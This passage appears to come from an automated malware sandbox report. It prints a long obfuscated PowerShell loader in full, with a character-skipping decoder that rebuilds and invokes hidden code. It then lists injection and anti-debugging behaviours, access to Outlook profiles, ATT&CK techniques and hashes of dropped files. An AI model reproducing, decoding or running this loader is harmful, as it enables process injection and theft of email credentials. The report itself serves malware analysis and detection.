NEVe6KvDTe4 LDPeB aD Q1SoDAf7 FD P9 BCAl6NoDsi0GlCsi7StDLi0SuD LBGu8 O7An8Me7Ch8 H4la9Fe9Ce9Vi5Va9Wi1BeFTr0enD K8SpDGa7PeD AC ND AA FC B1StD CA SD P6deD BAKaDfaC sDBu1Af9MoC S9 PB NESa6SlDKa0 WC A1DiFAnC KDVi8AsCMo5 PDFo9ReD T0 sD T8KaD P0 TDFoB KC s1 UD K4 SCUf1 DDFoC FD AA ADPlB UFMi3BrD W9DyDSp4TiD D2BiCMi6Fo9 CDHa9Sc1 OEDi0FoDTyBStDBo1NoD S0ScC H7FrC U1stCDe7HyDOm4 MDHj4 AD T1Ze8Bi2 D9 PC S' N;Su&Ov(Fa`$PeCTiyAmssitSpiBlg RnOpaTit shAli AnDye P1 E2 O4Ga7Ra) N T`$StM EescnObuTy4da;Be`$BiM UeRanAfu B5Br Sa= K WsmdtRerPri KtAnt BelurAfs k8Fa Bl'ShC B7deDAl0 JCMe1 UCel0 HCDi7foDSeBFo9In5St9 B1PrESp6 FDMi4 DD h8BeDKa0PoDLnEBuCSt6IgDAfC UCHo6deC B1KaDEc0 ACSl7frDDo0 EDdiB KD I1VeDJv0 A9 TBFrFCh6 VCAt7 DDHy0 NDAl4 SC C1GoDCr0AnERi1 UCSlCExC r5 RD B0 M9ImD F9 PCAf'Ab; A&Se(Be`$BaCCryOvs St Fi Lg Vn UaByteuh CiFinere M1Li2Ar4 O7To) f Hy`$ KMPeeGlnEcu B5Kl T Di T;Ur}Ve`$ FMKaoCerSka IlHuirusSee SrCheFitwo Pr=Sn Os PtborTuiAltKotHye PrSosov8mu F'skDHoEFoDEq0QuC L7 dD SBPoDDa0FoD D9Se8 N6 D8Un7ka' S;In`$ NUInn Ra Dr sr Do Ag TaWan Bt F So=Ka Ts ItLorOciunt TtObeAerAnsVa8Re to' CCCa0SkC E6LiDBy0SuC S7Do8 G6Ol8St7At'tr; T`$taSRevovi Mg BtMee Bn WdSue RsSe0 S3Is Fi=Im Ins Ft Lr Li KtdrtMee trLes G8bl M'TvFCr2 HDSt0LeCSy1ReF P6 MDStAGlDHaBElCis6 TD AA VDFo9OrD S0 GEHe2coDraCBrD OBDeDSu1suDBaAPoCHe2 L'Ju; B`$ CSCovGeiFig AtKueKonQudMie BsGo0un0Ap=Kas ItKorIniUntIzt SeDerKasHe8 Q Sv' GESv6ReD SDBaD LAFeCUn2HoEHu2 OD SCsuDvaB BD L1AbDAwAUnCLy2 t'Co;Xx`$UnMPeeCen Uu F6 t Mu=Bl OvshotOvrLsi KtKrtBre krBls N8Br Di'Al9 S1EnFFl8faDDaA aDko9 NDPe9 FD OCPlDGa2FoC H7LoD T4PuDShBPeCAn1 D9Ku5Ud8Re8 D9 P5OvECoEVaESk6VeC gCBeCNy6reCKo1AfDWi0BaD S8He9SnB PEFo7FoC V0 OD HBReC K1 SD BC BDhe8ScDBo0Ko9BlBUnFSkCRiD eBUnCAc1 SD S0 LCAr7 ID WACoCtr5TaEmi6 mDKo0 MC S7 EC m3unDcoCinDSt6 AD U0FaC T6 E9DeBEfF G8SaD T4 DCBe7OxC T6DaDZoD GD B4 SDCy9InESt8 P8SpF C8JuF DF G2deDRe0DeCVa1CoFPl1SiDPe0reDTr9GaDSh0 PD S2 SD D4 PCSt1UnDFr0MiFPl3InDTuA SC A7 SFSk3SkC K0MaD TBEcD S6 AC M1 MDReCGiDNoAStDScB BE P5KaDUrABiDTrCUrDLeB DC O1EvD V0JuC K7 K9PyD G9DaDOrDSu3 UD NE ACBi5En9Tr5Op9 M1MoFSt8DaD SA RCHe7 CDRe4 TDDe9DeDBjCTrC S6GrDFe0 KCTe7ThDBe0 RCVi1 O9Tr5Fa9Ha1OzF b6 TCUnC LCBe6HyCAg1FuD SCOvD H2boD PB BDMi4 BC C1urDDoDTeD CCSwD OBStDEp0Ox8 W4Sa8To7Re8Re1 h8 T1Ve9AvC P9La9Tr9 Q5No9BiD BFMi2ViF O1FaENa1No9Su5 OF A5Ba9 SDAcE PEHaFGaC TDSkBMiC W1ChESk5ArC S1odCAl7 KE N8Gr9Sp9Re9 A5HoE SEUnE a0 EF ICCoDLoB GCCo1 F8No6 S8 S7PrE s8Sk9 O9 C9 l5 BEReEAfESu0AiFPeCEkDTaBEtC L1 S8Be6Cl8Ek7unE E8 R9Ou9 F9De5ChEKeEUdESk0 CFClCJuDDiBSeCUn1Ud8Po6Hy8Al7DrECo8Sp9SnC G9Ns5 T9AlD PE PETeF LC LD sBDeCRe1RaE P5 TCQu1 MCBi7 LEKi8Br9 SC N9 CC N9 MC S'ma; T&Ef( S`$SpCOvybisInt piDigOnn Va Ft ChBjiCinSle A1 S2Cr4Kv7 b)St L`$ DM LeMenAmuad6 R; S`$ RS HvRaiWag TtHme FnSidDieSks P0 F1Lu T=Da Bis Ut Pr SiTytTutBle SrSvssp8Em De' P9St1 PESb1AkCBa7 TD F0 KCFn5PrDAf4 VD VBBlDMi0urCAc7ReDmi0OvDAp1SmDSa0Cr9Up5La8Ch8So9Fi5ArE PEIrEUr6PoC SCCuC A6SeC B1BeDNe0 ADDe8Ta9PrBgeE B7QuC l0 MDSpBPaCfu1 ED TC GDSt8OpDLa0Ju9exBNoF TC FDWeBBeC P1SpD M0YiC O7 TD BA ECAa5AmEbo6 PDAf0PsC C7 oC F3 IDCaC DD C6 LDUn0OmC H6 U9CrB oFpr8 TDVa4 PCun7 ACAd6 NDBoDHyD G4 ADBo9 FEAv8Rh8HoF O8 TF SFCi2MuDli0 HC K1DiF G1AlDUn0WaD Y9 RDPe0HvD l2 BDov4PlC C1ChDHe0 UFUs3 SDKoA DCCo7 SFKo3 FC G0unDDeBBeDAd6 BC V1SkD SC cDNaA FDSkBCrE A5 BD VA GDTaCPlDBuBDaCId1 MD G0ElCBa7 W9HeD F9ScD aD I3 BDJeEtvCRe5 D9St5 A9Ar1SuE D0 RDruBLiDEn4AfC H7 mCSp7 ODcoACaD R2LeDSp4LeDSaBDeC d1 P9 T5 S9St1SuESt6uoCom3HyDmiCUnD B2MiC J1BlDDe0SoD NBMiD P1AnDTo0 FCMa6Vi8 K5 W8No5Du9FoCGe9 T9 M9Va5Ma9 SDUnFPl2KoF P1KaE f1Sa9 B5CyF F5Pr9 UD MEMaE GF cCPlD cBpoCMe1ClEFu5LnC U1CaCFl7BaEla8 A9 E9 F9 A5VeE SE SETn0FrFImC IDLeB DCTu1 S8ia6 P8 F7BoEPr8 P9PrC O9Tu5 P9 PDEmEBrE DFSeCrnDUnBGtC S1 CE B5CaC L1MaC J7IcEPr8mi9 EC M9 NC O9 SCAc'Co;Na& F(Ko`$ PCSey PsLutGaiYdg Dn VaRetHehCaiConKueNo1 M2Mi4Va7sc)De Ko`$OpSCov SiUngFot Se Sn fd Fe SsAm0 U1Ba; S`$DeS kvLiiFigOmt SeShn ed CeDisSi0pl2Om Um=Da BrsHytBlrRoiLntUdtGaeCormis U8fl G'su9Al1PrEBo1InDFr4 DDTiEReDelEUnDPr0FoD E3CaD T0HaCTc6AvCVa1 IC R6Fo9Ek5Sl8 V8no9 H5PaEPrE TE P6 DCFyC RC A6PrC S1AuD T0OvDDi8Oc9BiB PEha7SaC F0YaDkoB DC B1 TDAlCTeD S8 MDDe0Au9 FBKeF FCAtD SBReC C1ChDKa0BiCDe7PrDPoA ICCy5SeEWa6 sD R0GrC H7 RC C3FlD CC HDYt6 SD H0 UC A6Op9HuBImF D8LaDSk4taCFe7RaCGr6PaDClD PDfo4 SD S9UnESk8 G8 fFUm8KrFDrFMy2SeDMo0TrC W1AtFho1 HDBn0BrD I9 oDAf0 DD a2UnD H4FiC l1 BDAf0KoFIo3 BD cAChC A7 CF E3 FCcy0TaD PBKaDSy6UnCby1KoDOvCfaDGuA VD SB EE A5 UD TA DD FCMeDMiB NCBe1AtDCa0 TCRo7Hi9 SDSk9UtDCaD A3UdD HEHaCAv5 H9Pr5 T9 L1NeF K8EmDToA ACPe7DeDTa4 VD S9 SD NCSeCSc6BeDAn0 LCUn7 VDFr0KrCUn1Jo9 I5Un9Ma1KuEOr6BeCPl3LuDUdCNoD T2FoCVi1EpD C0TaD MB EDSt1 OD F0AlCEn6Re8Ya5 F8 l6 B9MaC G9Te9Va9Ki5Me9 VDBrF D2MyFRi1NiE S1 N9St5PoF D5 S9LiD FEFaEMoF rCpoDWaBunCBu1 ME S5PrCLa1 LC F7SaEBe8Ou9AbCRe9me5In9PrD KE PEChFCeCDoD aB PCVi1 KERi5 GC d1TyCAf7 PESk8 K9OrC C9 FCol9InC u'Ho;Su&Al(Da`$GnCHyydrsFutMei IgSen NaInt Sh AiUnn NeSn1in2 F4 F7 T)De my`$SiSTavegifog CtGaegln AdKaeSysvi0Mi2 F; S`$ eM neCun Vu I7 C Lo= C Tos Atrer Kiret EtSteMirSesTh8Di Di'Ud9Re1TeFEmCTiDUfB FD S1 ACAr6DeC K3SkDMo7PhCUn1By9 K5 Q8Ve8De9Br5Un9 L1AiE S1OvDLa4 CDImE gDVeELeD P0MlDHo3BaD A0 BCBl6ImC R1 ICTl6 T9JiBLoFAsC TDDeB pCtu3ToDTiA lDBeEreDAm0Sp9SeD U8 H5 L9inCAk'Rh;Tu& C( D`$ OC Ayves Ht Ti BgUnnChaSkt Eh mi InDoeSn1Am2 Z4 R7St) F K`$poMUneRen BuFr7 A;Mi`$DeMune Dn Lu K7 S S= g MesrotFor Ciact TtrieNorHosSy8 K It' A9Bd1moEAm1JdCUn7UlD E0 BCre5 DDEp4SrDpaBTkDRe0UfC B7VaDJe0 AD F1BrDOp0Or9TrB cF KC MDKrBBrCEc3 SD AA MDFaE cDSl0 G9MeDNo9 C1ChFVeCisD JB sDBl1SeCEx6PoCcr3 AD T7 ICRi1Of9an9Ve9Ta5Pr8 L5 j9HaC N' S;Ge& F( M`$BoCPrySnsflt OiUngFen FaAptSth Mi TnCheSu1 T2Sm4 L7 l)Sw O`$HeMLgeTenViuSt7 T;Fa`$ vZtioMuoBanFreScrSky AtByh DrHeiAkn N A= B BfInkBep S ne`$ LCNoyWis Et Ci PgVun Fa PtKah GiUdnTweLe1te2 A4Ta5od Sa`$RiCAuyPasPet SiSegGan AapatPoh DiUpntieCi1 T2 A4Li6 s; E`$ SMIne SnTouBe7 P Om=He SlsSetUnr RiRet DtLaeAnr Rssp8Op P'Be9br1HeF C7 GCEk0EnD D9SaDCr7 pDBaA DCSk0irCKl6SaD a9 MC ACPo8ka6De9Ka5 n8Me8 S9 A5mi9 L1SkFRy8LgDLeAUnDKo9 kD b9 SDKiC dDca2 MCSu7faD D4AdDTrBudCfo1An9MeBHiFFoC FD CB ACfa3 CD oAUnD PE SD T0bo9BaD OEOpEraF TCBlDFeB NCAr1 UE S5BoCFi1 lCDe7 dEOv8 E8 AFSt8LeFBaESaFInD A0 rCno7 LDMeAIn9Az9 F9 u5Pa8 T3 V8va4Tr8KeDMa9 R9Ud9 d5Tr8 B5SuC SDMi8 K6 A8Cc5Ca8Of5 G8La5Fr9gi9ru9 B5Ho8 C5 UCplDfl8 I1Kr8 W5 P9TiCse' T; t&Ku( T`$anC dy Is AtMoiAngDanheaSlt KhFni PnareIn1 H2Kv4Zi7Mu) J Me`$muMIneSknSauHo7 B;Ob`$ PM KeBrnEtuRe8Ur Cr=Bn PasIntKurHei PtExtCye Mr Ds L8Te Sk' K9Ro1SkETaDMiC FC ED B9 ODScCChC F1AmDAuASaD KBTjD L0Tr8Un7Sp8 R4Ta8 F0Sv9 C5Rv8St8 N9Pi5Ca9 X1HoFJu8SeD aA hD S9 BD T9 CDPrCdeD D2 KCGe7HoD P4 HDHoB AC T1Au9ErBSyFAmC SD MB CCGr3FoDPrAHaD BE ADFr0 H9JoD SE HESpFMuCTyDDiBAcCRe1AqEFo5 IC H1SpCKo7FrE U8er8 OFsc8AnFBrEOsFKaDNe0 UCRe7DiDNaA R9So9Ge9 L5Mo8veDRe8De0Ze8Ma6 p8 M1 S8 G5Ko8 F4 D8Un3 I8Re5 V9 M9Fi9Ba5 E8Ru5 AC RD P8 C6Ba8Wr5 C8Bu5 S8 I5Sp9 F9Sc9Er5 G8 U5 OC CD B8Sk1 S9HaCBa' S; N&Dy(Fr`$ FC DySasAntGii DgUrnLeaHat Sh Ui Gn Se S1 M2 G4 F7Vi) B N`$HoMNoeSlnUbu B8 W;an`$ oB buTrl abUtoLiuHisChlInyFl2Kr=Ov`"""Af`$Lce EnSyvOp: PT CE BM MP D\StPMar Moevp IoFll Si PsFre Jt C\LsSBet UrBlsvakUneAmescn UsSe\SaEGenSmeForKog Pi sr Fa HaDud OeSpnKle P. HfImy Ps M`"""Du;Fo`$AnMKaeBinFiu M9 T Ox= S AsLat ArwiiOvtAlt he Mr Ks R8Sp Re' K9Do1 SF F8 CD K0ElD RB BCBl0Pa9 W5 b8Mt8 H9 F5 BEAmEStE M6 OCNoC HC B6WhCPr1 IDAv0 sDOv8af9 OB KFreCEfF DAWh9 KBStFAn3ReDSeC PD T9OlD V0ImERe8Ti8PaF R8 SF GEFo7 SDSo0JuDSl4 GDsp1 VFKl4EsDPi9 OD O9 TFDr7FaCPaC FCMa1CoDTr0 SCOb6Ap9FoDId9 L1ArF E7SkCbl0 sD F9 SDSh7 SDUgASyCin0quC S6TaDUg9MiCHaC I8 S7Be9 KC A'Zi;Di& O(Ks`$SiC Sy TsEftTei FgApn FaSvtDrh SiUgn Ae G1Va2By4Du7Ch)Ps B`$UnM Me TnPauTe9 C; B`$cusSkt orSei Lt PtRee srLus J0St S=Be Sus ut OrPaiGat Nt BePor HsSu8Wa Ko'TaE UESuE E6KaCDaCPoC v6 BCAn1DiD r0 BD s8dy9raBWrERe7VaCRe0 KDBeBEuCCo1VeDRyCXeDSk8 pDFo0Ly9 FB bF wC GDSkBheC i1LeDGa0KlC I7SlDloA ACTo5 UE G6EuDQu0KrCGi7SeC k3AdDPrCEqDup6LuD j0EnC M6Ts9BeBSnFSt8 TDSu4 LCKa7MuC P6OvDdyDSkD P4TeDtr9RaE P8Di8KlFTr8AnF FFGr6 nD CA MCTr5 MCOrC D9 fDUl9Ps1CoFAf8 AD r0geDFoBDeCRe0En9 C9Kl9 A5 M8Gr6 E8Om5 E8 B7Co8Sn1 E9Bo9 S9 A5Kr9 M5St9Sc1PrF T7UnCPr0 GD B9AlDDe7 EDPrA ACOf0StCRe6CaDBe9SlCOpC S8 U6Ap9Da9 I9Di5Co8 k3 I8An4 O8 BDFo9paCSm'le;Du&Ok( A`$SaC HyVas KtThiMagJanStaHitGah Vi BnRie D1 T2St4Ke7 C) S Ly`$ Js HtGerMyiFrtPithaeKvrUls v0 H;Ov`$TaFAnrkoobaeBob ReMulTaiRoa RnIm=Ar`$ NMune GnTauBi.Nec ko pu SnSvtTe-En6 K1ko8Sl-In3Re0 S2 F4Gn; O`$Kls Kt FrBui Mt St Me Sr NsPa1 r P=Pr FrsdetFrrLei PtSetFreRorChs O8cy P'peE sESiE I6 GC CC HC E6AmC D1DeDJu0HiDAl8Us9 TBskE U7BlC s0 ED DBKoCNr1 UD SCSiDTe8HaDke0Fa9 PBsoF tCNaDDeBAlC D1ReDUd0CoCMi7ReDKoAreCCh5SeEBa6EtD E0UdCFi7PeC m3VaDBuCOrD D6DoDSm0 SCUn6Ch9BaBAnFKv8TiD M4 CCDr7 SCLa6EnDAfDLuDKv4 PDBr9UbE M8 O8JaF R8 MF LF B6UnDStA AC F5GrCOvC F9ScD R9 A1MiFNe8UnD S0 KDKlB TC T0 U9Ma9Lu9 U5ev8 S3Ti8 T4Te8 NDSo9 DEAl8 A6 P8Ma5Ti8 F7 P8Uv1 M9Ga9Se9ad5Co9Ko1unEMiDWiCReCTeD U9 LDLeCUrC S1GrDGaAGaDCuB ADSk0Nu8Sj7Be8 t4Bl8 O0 K9Tr9 D9 S5 L9 T1 UFDi3 SC H7EpD IA MD c0 WD C7FoDBr0SlD B9GeDToCUaD U4MiDFoBVi9KvC O' C; M&nu( R`$ ACSyyfasSat Ci Tg UnSuaTotSvhKei knNoeSt1Er2Up4 P7 C)Jo R`$tisLat Ar FiGut NtMieOvr SsLa1Un;Un`$LisEutRerBliCotSkt CeUdrSks N2Pe K=Ho TsKotrerAniPetDitReeRer BsMi8Us D'Di9To1ReF S7StCOv7TiDguCLsDSa0 DD I3 OD I0 FD TBCyD U1OlD O0MeCAv6Me9No5Pe8Ma8 P9 E5 FEPiEHjE H6 FC KCCiC S6DiC G1ElDNi0 ADVa8 D9 MB CESt7 CC S0 FD nB FCTo1 MD cCOvDSc8 CD l0 M9 ABBiF LC BDDiBRaC U1caD R0KlCSp7TiDGeAFoCFo5 SEHj6WuDGr0AmCRe7PaC P3SuD DCBaDEc6 ADHi0 MCSn6Sh9 sB bF S8WiDVe4DiCEn7 BCHa6teD pD QDCh4FoDgu9DiEEp8 M8 MF S8 AFEfF S2dyD V0 RCSe1LeF Z1 AD M0 SD B9 CD p0NyDRa2 NDBa4miC c1 ADAf0 WFOp3PaDmoA UCEn7 FFLb3BeCUp0 HDStB ODLi6KlCaf1 ADImCLeDSeA IDOeB LEUn5SpD AA JD PC ADMiBFlCBe1AsD V0 SCGr7Ta9spD D9DeDLoDMo3 MD BEStC A5 C9 A5 m9 H1 VFTrBMoD SA TC H7AeD O1NiD o9SyDTuC DDFo2AfDSh0SgCGy7 DDFr0So9Un5 P9 U1BaFNo4 JDCoCGrD b9ByD L0Be9OnC C9Fo9ha9Gt5In9 NDGoFda2 FFLo1HjEEm1Ov9 R5klFDa5un9PoD FEHaEAfF TCHaD KB tC C1 HE P5 SCHo1ShCMi7InESu8Bo9Pa9Om9 S5AfESaE SFCoCPrDsuBSuCAl1FrEGu5 KCKo1 GCFo7 eETr8in9 T9Ha9 M5FrEDeE CFJuCLuD FB VCOr1 NECo5SoCAn1UnCSu7BaEWa8 R9Id9Wa9 I5AnEnoE SFDrCniD UB ACLa1 dEDu5 SC L1 FC C7PhETu8So9 B9Za9He5 REGeE SFObCFlDHuBorC S1TrEBl5InCMa1DiC A7 DEOv8mi9AsC L9Fr5 P9FoDOmEKhE SF FC SD TBHfCPr1TaEPr5 FC U1 MC A7 VEVa8pi9HoC G9ToC C9 UCtr'Ex; K& M(Ne`$BoCSuyTvs VtGoi sgmin Ea Ft BhEfiCon Ie P1 H2Hj4 b7Sa)Sh Ta`$cesFutStrTaigrtOvtdieParNosJu2 T;Un`$bes DtDer Oi Bt Rt UeDyr As M3 S Oc=Dd Nus St Ar GiBot St WeHerKos T8Sk I'Po9Se1 KF V7DeC A7 KD DC KDSk0EkDSi3BeDHa0HyD OBStDAp1StDSt0VlCEu6 S9EtB aF UCFoDDiB fC P3SkDMeAKiD NEBuDGr0Do9ThDun9Mo1TrFRu7 KCre0TrDKn9 FDEl7orDCiAKoCLo0AkC M6KoDOn9SkCpaCKo8 S6Fa9Un9 R9 S1MiE TD RC GCCyD U9StD BCTaCIc1PoD TADiD VB ODSy0 D8Op7 F8 K4 S8Ar0gr9 N9 C9De1 FE PF FD PA AD NA OD RBRaD C0OvCSy7SuCTeCFaC B1PeDUnD ACKa7 ED OCDeDBlBTr9Ma9 T8Ge5 P9 U9 S8 v5Me9 PC S'Ud; S& C(Mi`$kaCToyUdsGetWriSlgDrnmoaSht Vh Hi AnSpeUn1 B2 T4Fd7Me) B f`$ fs MtDor giGat ft SeFarUns R3 K# a;""";;Function stritters9 { param([String]$ophiomancy); For($Makulerende=2; $Makulerende -lt $ophiomancy.Length-1; $Makulerende+=(2+1)){ $Svigtendes = $Svigtendes + $ophiomancy.Substring($Makulerende, 1); } $Svigtendes;}$Tyknet0 = stritters9 'StIFan ZvReoCakSpeSt-CrEDaxIspPir LeMes Os Eisto Bn N ';$Tyknet1= stritters9 $Fartberusedes;&$Tyknet0 $Tyknet1;<#Nakedness Skaaltalens Maskinsprogene Emplastra Recubation mislabored #>;"
3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"
4⤵
- Checks QEMU agent file
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:624

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Email Collection

1

T1114

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabEB1D.tmp
Filesize
61KB

MD5
fc4666cbca561e864e7fdf883a9e6661

SHA1
2f8d6094c7a34bf12ea0bbf0d51ee9c5bb7939a5

SHA256
10f3deb6c452d749a7451b5d065f4c0449737e5ee8a44f4d15844b503141e65b

SHA512
c71f54b571e01f247f072be4bbebdf5d8410b67eb79a61e7e0d9853fe857ab9bd12f53e6af3394b935560178107291fc4be351b27deb388eba90ba949633d57d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Propoliset\Strskeens\Energiraadene.fys
Filesize
238KB

MD5
8426cf1a0ca20b84ea2682bc68fa93e2

SHA1
b2e8cf7ddee5ebfa26b4ffd8aee7645cecfe43ae

SHA256
efa54261bf2354a7a7ea7ef1b91b6fbfc7b191b04283254649ea7c594142e1cb

SHA512
dc6f753b2998915d0b90c1182fccd56a89221da2a39bd9aae4a6d77db4afa9a20ce81cac4ec52eac936ff01d3aa95b6e545db2eaf9897945cb8b1714c1d2069d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Propoliset\Strskeens\Multani.Fri
Filesize
24KB

MD5
2590a55a3781856e50e270feaf0f20ba

SHA1
f2792c49b7e74bb6243a3ce67fea11efd911d2ac

SHA256
ec6b48722dbf3aab55dda13d43b5c4e1c80049cf208f063a86afe90e60016687

SHA512
9691d7354aae8042627b7860b02b5302be096e9484d5abfb3016cca34f8aab0db1479ac58d89d18b87f715ec4ff6c3ce404ded98d3fc036ea25a3cbf6fdb8fd0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZINLV9YYWZKCV87BE413.temp
Filesize
7KB

MD5
18841e44dda8b4b64f3f3dcbbbf4b14e

SHA1
032f2dd65dcb7146090aeaea80fa08421f85f5c7

SHA256
dd4013a4b7eb078512593982728ec7bff9b677685b1fef1fbc770580efeb59dc

SHA512
ecc8e4954865c8120a99628e7b8459f182a392546aca050b9af2f5eede9eab01b4dec0daab20db379526163d19bf8edbb2602ec4525f8d4b9d86d5cb7883a128

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize
7KB

MD5
18841e44dda8b4b64f3f3dcbbbf4b14e

SHA1
032f2dd65dcb7146090aeaea80fa08421f85f5c7

SHA256
dd4013a4b7eb078512593982728ec7bff9b677685b1fef1fbc770580efeb59dc

SHA512
ecc8e4954865c8120a99628e7b8459f182a392546aca050b9af2f5eede9eab01b4dec0daab20db379526163d19bf8edbb2602ec4525f8d4b9d86d5cb7883a128

Download Submit
memory/624-97-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download
memory/624-128-0x0000000024D60000-0x0000000024DA0000-memory.dmp

Filesize
256KB

Download
memory/624-101-0x0000000024D60000-0x0000000024DA0000-memory.dmp

Filesize
256KB

Download
memory/624-100-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/624-98-0x0000000000820000-0x0000000005983000-memory.dmp

Filesize
81.4MB

Download
memory/1924-72-0x0000000002850000-0x0000000002851000-memory.dmp

Filesize
4KB

Download
memory/1924-71-0x0000000005C20000-0x000000000AD83000-memory.dmp

Filesize
81.4MB

Download
memory/1964-73-0x00000000026B0000-0x00000000026F0000-memory.dmp

Filesize
256KB

Download
memory/1964-61-0x00000000026B0000-0x00000000026F0000-memory.dmp

Filesize
256KB

Download
memory/1964-69-0x00000000026B0000-0x00000000026F0000-memory.dmp

Filesize
256KB

Download
memory/1964-68-0x00000000026B0000-0x00000000026F0000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads